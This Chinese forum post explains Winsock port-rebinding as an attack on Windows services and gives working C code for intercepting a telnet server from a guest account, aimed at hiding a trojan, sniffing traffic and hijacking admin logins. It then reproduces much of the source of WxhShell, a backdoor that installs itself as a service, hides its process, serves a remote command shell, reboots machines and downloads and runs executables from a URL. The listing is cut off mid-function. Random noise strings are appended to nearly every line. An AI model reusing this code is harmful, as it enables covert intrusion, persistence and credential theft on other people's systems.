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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iuAq.$oi{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z^_>A)<s<  
&3DK^|Lq  
  saddr.sin_family = AF_INET; ]Yz'8uts  
!#WqA9<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +zO]N&  
.Ff_s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZBM!MSf:  
->oz#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m,6h ee  
fl uGf  
  这意味着什么?意味着可以进行如下的攻击: +/cgw,  
Gp|JU Fo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q=0 pQ1>  
%z)EO9vtr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J$[Q?8 ka  
nQLs<]h1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HeS'~Z$  
f=_g8+}h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {LB`)Kuu  
d*-Xuv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h~UJCn zS  
u0]q`u/ T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 04JT@s"o  
LDQ e^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]|LgVXEpx  
z8iENECwj  
  #include 14l; *  
  #include yT:!%\F9  
  #include K51fC4'{  
  #include    RVF F6N^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R^tcr)(  
  int main() fVUKvZ}P*  
  { L@A9{,9Pl  
  WORD wVersionRequested; hqW$k w  
  DWORD ret; 'NjSu64W  
  WSADATA wsaData; rPTfpeqN)  
  BOOL val; 0yQe5i}  
  SOCKADDR_IN saddr; e_.~n<=  
  SOCKADDR_IN scaddr; (02g#A`  
  int err; E fSMFPM  
  SOCKET s; Qj!d^8  
  SOCKET sc; 3o0IjZ=[>  
  int caddsize; 1t2cY;vJ  
  HANDLE mt; :,YLx9i>  
  DWORD tid;   RV92qn B  
  wVersionRequested = MAKEWORD( 2, 2 ); wAz,vq=x  
  err = WSAStartup( wVersionRequested, &wsaData ); 78w4IICk  
  if ( err != 0 ) { -\,VGudM}  
  printf("error!WSAStartup failed!\n"); gKQ@!U U8  
  return -1; +]L)>$6  
  } Pd],}/ZG-  
  saddr.sin_family = AF_INET; 8IOj[&%0  
   B;c=eMw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *vs~SzF$  
#pa\ 2d|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8S=c^_PJ  
  saddr.sin_port = htons(23); e7|d=W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sZm^&h;  
  { 4vGbG:x  
  printf("error!socket failed!\n"); %kW3hQ<$  
  return -1; qKs7WBRJy  
  } 2'dG7lLu4  
  val = TRUE; K#)bjxz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k4mTZ}6E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _z%\'(l+  
  { rgn|24x  
  printf("error!setsockopt failed!\n"); {~1M  
  return -1; ? ,V;f2c  
  } V*uEJ6T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n}5x-SxS0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _w%s(dzk  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I,9~*^$  
@`2ozi~lO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ] - h|]  
  { c}\ d5R_L  
  ret=GetLastError(); -;S3|  
  printf("error!bind failed!\n"); F]SIT\kBm  
  return -1; 4^BLSK~(  
  } %Fm`Y .l  
  listen(s,2); QvNi8TB  
  while(1) 0k7"H]J  
  { J\GKqt;5@  
  caddsize = sizeof(scaddr); U%Ol^xl  
  //接受连接请求 jL2MW(d^Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T-!|l7V~f  
  if(sc!=INVALID_SOCKET) pfNThMf  
  { 1W7 iip,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6(sfpK'  
  if(mt==NULL) ugRV5bUk  
  { 7t+]z)  
  printf("Thread Creat Failed!\n"); lDH_ Y]bM  
  break; E =  ^-Z  
  } n('VQ0b  
  } ;<~j)8  
  CloseHandle(mt); m9cj7  
  } 9Mut p4#  
  closesocket(s);  nFVbQa~  
  WSACleanup(); @OrXbG7&>#  
  return 0; N~0$x,bR  
  }   E.Pje@d  
  DWORD WINAPI ClientThread(LPVOID lpParam) \O,j}O'  
  { uRs9}dzv  
  SOCKET ss = (SOCKET)lpParam; %pM :{Z  
  SOCKET sc; @]<DR*<  
  unsigned char buf[4096]; eb(m8vLR  
  SOCKADDR_IN saddr; >4#tkv>S.  
  long num; d`<#}-nh  
  DWORD val; 2 /UI>@By  
  DWORD ret; P@-R5GK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0L 7@2|a0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q0_M-^~WT  
  saddr.sin_family = AF_INET; ^M"HSewo  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b^;N>zx  
  saddr.sin_port = htons(23); }]Qmt5'NI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dUUPhk0  
  { |)*m[_1  
  printf("error!socket failed!\n"); YDdLDE  
  return -1; JO]`LF]  
  } ByC1I.B`  
  val = 100; WJBW:2=;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (#CB q  
  { EPR(i#xU  
  ret = GetLastError(); }NR`81  
  return -1; ~ rQ4n9G  
  } 0  %C!`7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |ORmS& 7  
  { v] W1F,u  
  ret = GetLastError(); ~x9 W{B]  
  return -1; deHY8x5uI  
  } oR4fK td  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iRkOH]+K  
  { 0<6rU  
  printf("error!socket connect failed!\n"); .[]{ Q  
  closesocket(sc); ~ mHXz  
  closesocket(ss); 5mDVFb 3a  
  return -1; ]i9H_K  
  } Cv gPIrl  
  while(1) HFpjNR  
  { /5a$@%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U+I3P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &8IWDx.7}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mNGb} lR  
  num = recv(ss,buf,4096,0); V;/ XG}M  
  if(num>0) 1nw$B[  
  send(sc,buf,num,0); iW1$!l>v  
  else if(num==0) uQXs>JuD  
  break; \5j22L9S  
  num = recv(sc,buf,4096,0); Q'>_59  
  if(num>0) hCSR sk3  
  send(ss,buf,num,0); #mi0x06  
  else if(num==0) QYFN:XZ  
  break; *8pe<:A#p  
  } =k[(rvU3  
  closesocket(ss); v3iDh8.__  
  closesocket(sc); (UbR%A|v;  
  return 0 ; Q-H =wJ4R  
  } ./aZV  
)&g2D@+{  
9`hpa-m@  
========================================================== *q\HFI  
# khyy-B=  
下边附上一个代码,,WXhSHELL >Rx8 0  
=[v2   
========================================================== B' P,?`  
b tr x?k(  
#include "stdafx.h" 1o"y%*"  
38zR\@'j]4  
#include <stdio.h> QySca(1tN  
#include <string.h> )x9nED{  
#include <windows.h> n0 fF,?gm  
#include <winsock2.h> =6L :I x  
#include <winsvc.h> |hZ|+7  
#include <urlmon.h> SF78 s:_!_  
x);?jxd  
#pragma comment (lib, "Ws2_32.lib") A3<P li  
#pragma comment (lib, "urlmon.lib") n57c^/A*  
Hzk1LKsT#  
#define MAX_USER   100 // 最大客户端连接数 n?7hp%}  
#define BUF_SOCK   200 // sock buffer U?+30{hb  
#define KEY_BUFF   255 // 输入 buffer 'Sb6 w+  
7.F& {:@_  
#define REBOOT     0   // 重启 W! 5Blo  
#define SHUTDOWN   1   // 关机 )%nt61P\W  
&B{Jxc`VA  
#define DEF_PORT   5000 // 监听端口 reD[j,i&t.  
&?uzJx~  
#define REG_LEN     16   // 注册表键长度 s\n,Z?m  
#define SVC_LEN     80   // NT服务名长度 yE!7`c.[u  
Xs#?~~"aC  
// 从dll定义API q]wn:%rX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D7n&9Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QWIOim-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7Vof7Y <  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @EH4N%fH  
PN)TX~}  
// wxhshell配置信息 4w3V!K8  
struct WSCFG { ]h`E4B  
  int ws_port;         // 监听端口 .DM1Knj  
  char ws_passstr[REG_LEN]; // 口令 A~ %g"  
  int ws_autoins;       // 安装标记, 1=yes 0=no :\ON+LQr  
  char ws_regname[REG_LEN]; // 注册表键名 8B% O%*5`  
  char ws_svcname[REG_LEN]; // 服务名 ^.><t+tM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ` Q!FMv6Y^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o@Cn_p^X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lD+y, ";  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F".IB^} $  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" joSr,'x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1)c=15^  
Vq;{+j(  
}; N5I W@?4  
B@~eBU,$  
// default Wxhshell configuration njx\$,ruN  
struct WSCFG wscfg={DEF_PORT, O#89M%  
    "xuhuanlingzhe", p-i]l.mT5  
    1, *T}dv)8  
    "Wxhshell", 6nhfI\q3wY  
    "Wxhshell", V~%WKQ  
            "WxhShell Service", Q& unA3  
    "Wrsky Windows CmdShell Service", bvxxE/?Ni  
    "Please Input Your Password: ", _sD]Viqc  
  1, 3M>FU4Ug2  
  "http://www.wrsky.com/wxhshell.exe", pdXgr)Uv  
  "Wxhshell.exe" 75BOiX  
    }; Fr Q-v]c  
#Z3I%bkw H  
// 消息定义模块 ]jT[dX|?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L-oPb)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |^&2zyUj/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XP Iu]F  
char *msg_ws_ext="\n\rExit."; }E\+e!'!2  
char *msg_ws_end="\n\rQuit."; 5qAE9G!c  
char *msg_ws_boot="\n\rReboot..."; 2H32wpY ,l  
char *msg_ws_poff="\n\rShutdown..."; 9FR1Bruf  
char *msg_ws_down="\n\rSave to "; ]Rys=.!  
dA!f v`,6-  
char *msg_ws_err="\n\rErr!"; ', xs Ugk  
char *msg_ws_ok="\n\rOK!"; }od7YL  
Z ysUz  
char ExeFile[MAX_PATH]; j]] ziz,E  
int nUser = 0; "Qm~;x2kB  
HANDLE handles[MAX_USER]; V IRv  
int OsIsNt; 5a/ A_..+I  
AFF>r#e  
SERVICE_STATUS       serviceStatus; }5c'ui!3H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eVNBhR}HS  
t1_y1!u Q  
// 函数声明 7^ Q$pT>  
int Install(void); R~mMGz  
int Uninstall(void); i?s&\3--Y  
int DownloadFile(char *sURL, SOCKET wsh); :!*;0~#  
int Boot(int flag); QH? 2v  
void HideProc(void); eRWF7`HH+  
int GetOsVer(void); Ss#{K;  
int Wxhshell(SOCKET wsl); JqV<A3i  
void TalkWithClient(void *cs); J*4_|j;Z-E  
int CmdShell(SOCKET sock); \crb&EgID  
int StartFromService(void); JbD)}(G;  
int StartWxhshell(LPSTR lpCmdLine); Vm%ux>}  
kjYO0!C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  ! 6i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fw~%^*  
[T?6~^m=  
// 数据结构和表定义 :^.87>V7  
SERVICE_TABLE_ENTRY DispatchTable[] = j$i8@]  
{ HFCFEamBMP  
{wscfg.ws_svcname, NTServiceMain}, =.2cZwxX$  
{NULL, NULL} {m*J95[   
}; 'H-YFB$l  
t6>Q e  
// 自我安装 n[p9$W`  
int Install(void) [Kj#KJxy  
{ F v^80M=z  
  char svExeFile[MAX_PATH]; ofhZ@3  
  HKEY key; VlXy&oZ  
  strcpy(svExeFile,ExeFile); ~$&r(9P  
|k9j )Hg(  
// 如果是win9x系统,修改注册表设为自启动 $TW+LWb   
if(!OsIsNt) { Qmh(+-Mp(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LCm}v&~%A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QMfy^t+I  
  RegCloseKey(key); 3<Y;mA=hw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sn-+F%[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IHX#BY>  
  RegCloseKey(key); MM)/B>cQt  
  return 0; ykl=KR  
    } n'(n4qH2#s  
  } )ZT0zIG  
} Tqh Rs  
else { uN^qfJ'@ >  
*[/Xhx"  
// 如果是NT以上系统,安装为系统服务 ?ut juMdl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .&!{8jBX  
if (schSCManager!=0) 38S&7>0@|q  
{ S{|)9EKw  
  SC_HANDLE schService = CreateService iKTU28x  
  ( _=$!T;}lE  
  schSCManager, 4Tw1gas.  
  wscfg.ws_svcname, 1|$Rzt%ge  
  wscfg.ws_svcdisp, @x>2|`65Y  
  SERVICE_ALL_ACCESS, 03jBN2[!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5|={1Lp24g  
  SERVICE_AUTO_START, 0'2{[xF  
  SERVICE_ERROR_NORMAL, %cif0Td  
  svExeFile, &!aLOx*3`  
  NULL, 0r&9AnnWu+  
  NULL, HbVV]y  
  NULL, o8pe07n(W  
  NULL, g \h7`-#t  
  NULL "TNUw&ih  
  ); .T>}O0L"  
  if (schService!=0) *X55:yha  
  { G~L#v AY  
  CloseServiceHandle(schService); ^\9G{}VY  
  CloseServiceHandle(schSCManager); . zMM86c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qy,qQA/   
  strcat(svExeFile,wscfg.ws_svcname); M|]1}8d?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8$olP:d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H/I`c>Zn  
  RegCloseKey(key); s3%8W==rBW  
  return 0; @*{BX~f  
    } Hjkgy%N  
  } u1Yp5jp^K  
  CloseServiceHandle(schSCManager); IYC#H}  
} 6spk* 8e  
} u(a&x|WY  
6?x{-Zj ^?  
return 1; vrDRSc6_  
} < tq9  
-k{R<L  
// 自我卸载 W5uI(rS<6  
int Uninstall(void) lfG's'U-z  
{ Hmd:>_[f  
  HKEY key; +W4g:bB1  
}&hgedx  
if(!OsIsNt) { "x^bl+_"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zUu>kJZ  
  RegDeleteValue(key,wscfg.ws_regname); -+Dvyr  
  RegCloseKey(key); W"@lFUi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F<WX\q  
  RegDeleteValue(key,wscfg.ws_regname); a[rUU'8  
  RegCloseKey(key); hjT1SW\I  
  return 0; *[YN|  
  } z1 px^#  
} m?`Rl6!@8\  
} ea+rjvm  
else { QYGxr+D  
*s4!;2ZhsU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =^M t#h."  
if (schSCManager!=0) j06oAer 9  
{ Z9^$jw]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B K;w!]  
  if (schService!=0) v w;  
  { >u2#<k]1&  
  if(DeleteService(schService)!=0) { @S92D6  
  CloseServiceHandle(schService); Wc G&W>  
  CloseServiceHandle(schSCManager); Zi)8KO[/0  
  return 0; T480w6-@  
  } PyF4uCn"H  
  CloseServiceHandle(schService); }O{"qs#)  
  } PSE| 4{'  
  CloseServiceHandle(schSCManager); "c*|vE  
} h)`vc#"65k  
} :W.(,65c  
:wAB"TCt0  
return 1; I\23as0q  
} ufPQ~,.  
TZ2f-KI  
// 从指定url下载文件 B6o AW,3  
int DownloadFile(char *sURL, SOCKET wsh) OK}"|:hrd  
{ F# wa)XH  
  HRESULT hr; z+I-3v  
char seps[]= "/"; b1o(CG(}*  
char *token; _O<{H'4NO  
char *file; xGA0] _  
char myURL[MAX_PATH]; `pUArqf  
char myFILE[MAX_PATH]; o7seGw<$X  
,;18:  
strcpy(myURL,sURL); PBv43uIL  
  token=strtok(myURL,seps); i6kyfOI  
  while(token!=NULL) ?Sxnq#r#  
  { 6f>HE'N  
    file=token; `yXy T^  
  token=strtok(NULL,seps); }VRo:sJb  
  } 5i?U-  
0=DawJ9  
GetCurrentDirectory(MAX_PATH,myFILE); <H/H@xQ8G  
strcat(myFILE, "\\"); @=c='V]  
strcat(myFILE, file); Nb1lawC  
  send(wsh,myFILE,strlen(myFILE),0); 7 d5x4^EYE  
send(wsh,"...",3,0); /K<Nlxcm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _C\b,D}p  
  if(hr==S_OK) Of=z!|l2  
return 0; OHo0W)XUU  
else s q KkTG3  
return 1; {IvCe0`  
R[;Z<K\Nn?  
} 1P_bG47  
5 S& >9l  
// 系统电源模块 y;jyfc$ `  
int Boot(int flag) { Se93o  
{ .Dmvgi]  
  HANDLE hToken; Vp$ckr  
  TOKEN_PRIVILEGES tkp; -( G2@NG  
!c7Od )]  
  if(OsIsNt) { D>Z_N?iR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0a'y\f:6*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jp]JF h;3  
    tkp.PrivilegeCount = 1; AtOB'=ph*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ez>@'yhK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RT>3\qhZ  
if(flag==REBOOT) { !@X#{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o_n.,=/cZ  
  return 0; yw0uF  
} ?`>yl4  
else { dp"w=~53  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Me>'QVr  
  return 0; 4E)[<%  
} $;1~JOZh  
  } 9[*kpMC  
  else { \=<.0K A~  
if(flag==REBOOT) { 6>Y}2fT}o3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oSoG&4  
  return 0; K\q/JuDfc  
} 4hs4W,2!  
else { +!(hd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |7-tUHMo[  
  return 0; HNPr| (  
} AVjtK  
} o v~m?Y]h  
~0NZx8qG   
return 1; C&T3vM  
} ElAG~u?  
e|LXH/H  
// win9x进程隐藏模块 DxBt83e  
void HideProc(void) &}uO ]0bR  
{ pK`rm"6G  
itU01  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l O^h)hrR  
  if ( hKernel != NULL ) V4H+m,R  
  { @b zrJ 7$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :FSkXe2yy0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `dK\VK^  
    FreeLibrary(hKernel); '9)@U+yfQ  
  } 3kMiC$  
LtQy(F%8/  
return; ){} #v&  
} n7G$gLX  
a_yV*N`D  
// 获取操作系统版本 i@RjG   
int GetOsVer(void) -1R~3j1_  
{ \WTg0b[  
  OSVERSIONINFO winfo; SUw{xGp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kLhtkuS4  
  GetVersionEx(&winfo); yBoZ@9Do  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]V_9[=%  
  return 1; 0)B+ :  
  else MouYZI)  
  return 0; wg_Z!(Hr#  
} l;2bBx7vW  
'a}{s>{O  
// 客户端句柄模块 ;H^!yj5H  
int Wxhshell(SOCKET wsl)  4Zq5  
{ Xw%z#6l  
  SOCKET wsh;  -<sXvn  
  struct sockaddr_in client; x>@UqUJV  
  DWORD myID; O6pjuhMx  
H{BjxZ~)  
  while(nUser<MAX_USER) %lPP1 R  
{ ZBGI_9wZ  
  int nSize=sizeof(client); y+PukHY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p d6d(  
  if(wsh==INVALID_SOCKET) return 1; 4aRYz\yT=  
BhKxI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TuU.yvkU  
if(handles[nUser]==0) /vhh2`  
  closesocket(wsh); ax<0grK  
else 2'_sGAH  
  nUser++; Rq*m x<HDX  
  } qfu;X-$4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,rd+ dN  
'e*C^(6  
  return 0; >i~c>+R  
} tx@Q/ou`\P  
O ?4V($  
// 关闭 socket Q,$x6YwE  
void CloseIt(SOCKET wsh) ;i]cmy  
{ R Q 8okA  
closesocket(wsh); 5s>9v  
nUser--; A1C@'9R*  
ExitThread(0); LF0~H}S;6B  
} vV|egmw01  
n)0{mDf%  
// 客户端请求句柄 )fa  
void TalkWithClient(void *cs) Ort\J~ O  
{ ZG>OT@ GA  
0,c z&8  
  SOCKET wsh=(SOCKET)cs; ji2#O.  
  char pwd[SVC_LEN]; oGM.{\i  
  char cmd[KEY_BUFF]; #GF1MFkoS  
char chr[1]; >M!>Hl/  
int i,j; itP_Vxo/H  
^uj+d"a)  
  while (nUser < MAX_USER) { ':,LZ A8A  
@l?%]%v|  
if(wscfg.ws_passstr) { 34U~7P r9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >#ou8}0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M3Z yf  
  //ZeroMemory(pwd,KEY_BUFF); 6k[u0b`  
      i=0; NOx| #  
  while(i<SVC_LEN) { TwH(47|?Nt  
,9rT|:N  
  // 设置超时 1/i|  
  fd_set FdRead; K.%E=^~q  
  struct timeval TimeOut; :J"e{|g',  
  FD_ZERO(&FdRead); HCu1vjU(]  
  FD_SET(wsh,&FdRead); UYPBKf]A9  
  TimeOut.tv_sec=8; MMf6QxYf  
  TimeOut.tv_usec=0; z TK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <.<Nw6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \u*,~J)z  
!y),| #7P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %:y-"m1\u$  
  pwd=chr[0]; YMWy5 \  
  if(chr[0]==0xd || chr[0]==0xa) { h{m]n!  
  pwd=0; pM=vW{"I/  
  break; 2::T,Z  
  } @iaN@`5I6s  
  i++; N>~*Jp2;  
    } fSTEZH  
nuQ"\ G  
  // 如果是非法用户,关闭 socket HGKm?'['   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;gc 2vDMv  
} o ZAjta_4  
+n:#Uf)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M}c_KFMV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $xl*P#  
" JRlj  
while(1) { #?/.LMn{  
LJ)3!Q/:  
  ZeroMemory(cmd,KEY_BUFF); bcZuV5F&  
`i{:mio  
      // 自动支持客户端 telnet标准   Re2kD/S3  
  j=0; lz(9pz  
  while(j<KEY_BUFF) { wEp/bR1=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Txxc-$z  
  cmd[j]=chr[0]; :G-1VtE n  
  if(chr[0]==0xa || chr[0]==0xd) { & dS+!<3  
  cmd[j]=0; csV1ki/A  
  break; vr;7p[~  
  } jzV#%O{`  
  j++; V>%%2"&C  
    } "Vh(%N`6  
LU]~d< i99  
  // 下载文件 M|Se| *w  
  if(strstr(cmd,"http://")) { "~;jFB8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r[lHYO  
  if(DownloadFile(cmd,wsh)) GwvxX&P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YK-R|z6K  
  else &sRyM'XI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WP>O7[|  
  } @s/ qOq?  
  else { h"'f~KM9a>  
s.~SV"  
    switch(cmd[0]) { #4hP_Vhc  
  kju:/kYA  
  // 帮助 MhsG9q_%  
  case '?': { 3aOFpCs|#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oM VJ+#[x  
    break; =FKB)#N  
  } -(2-zznZ  
  // 安装 AE$)RhY`  
  case 'i': { upJishy&I  
    if(Install())  [ ~E}x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P-mrH  
    else i|| YD-hkK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !F8 !]"*  
    break; lL^7x  
    } cnj_tC=zt  
  // 卸载 3ZVfZf  
  case 'r': { ;~K($_#H  
    if(Uninstall()) l>]M^=,&7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tY#^3ac  
    else xq{4i|d)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '=2t(@aC  
    break; U".-C`4v  
    } c;e ,)$)-|  
  // 显示 wxhshell 所在路径 ?BRL;(x  
  case 'p': { u>eu47"n!  
    char svExeFile[MAX_PATH]; ?R+$4;iy  
    strcpy(svExeFile,"\n\r"); Jq!($PdA  
      strcat(svExeFile,ExeFile); 8 2qe|XD4p  
        send(wsh,svExeFile,strlen(svExeFile),0); f6#H@ X  
    break; p<jr&zVEc>  
    } UOu&sg*o2B  
  // 重启 OU+*@2")t  
  case 'b': { }lY-_y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jHzy1P{?  
    if(Boot(REBOOT)) &qC>*X.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E% 'DIs  
    else { yx-"YV}5  
    closesocket(wsh); -"<f(  
    ExitThread(0); V1fPH;  
    } B8&@Qc@~  
    break; okv7@8U#p  
    } $_VD@YlAp  
  // 关机 ~RJg.9V  
  case 'd': { XVfQscZe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hke\W'&  
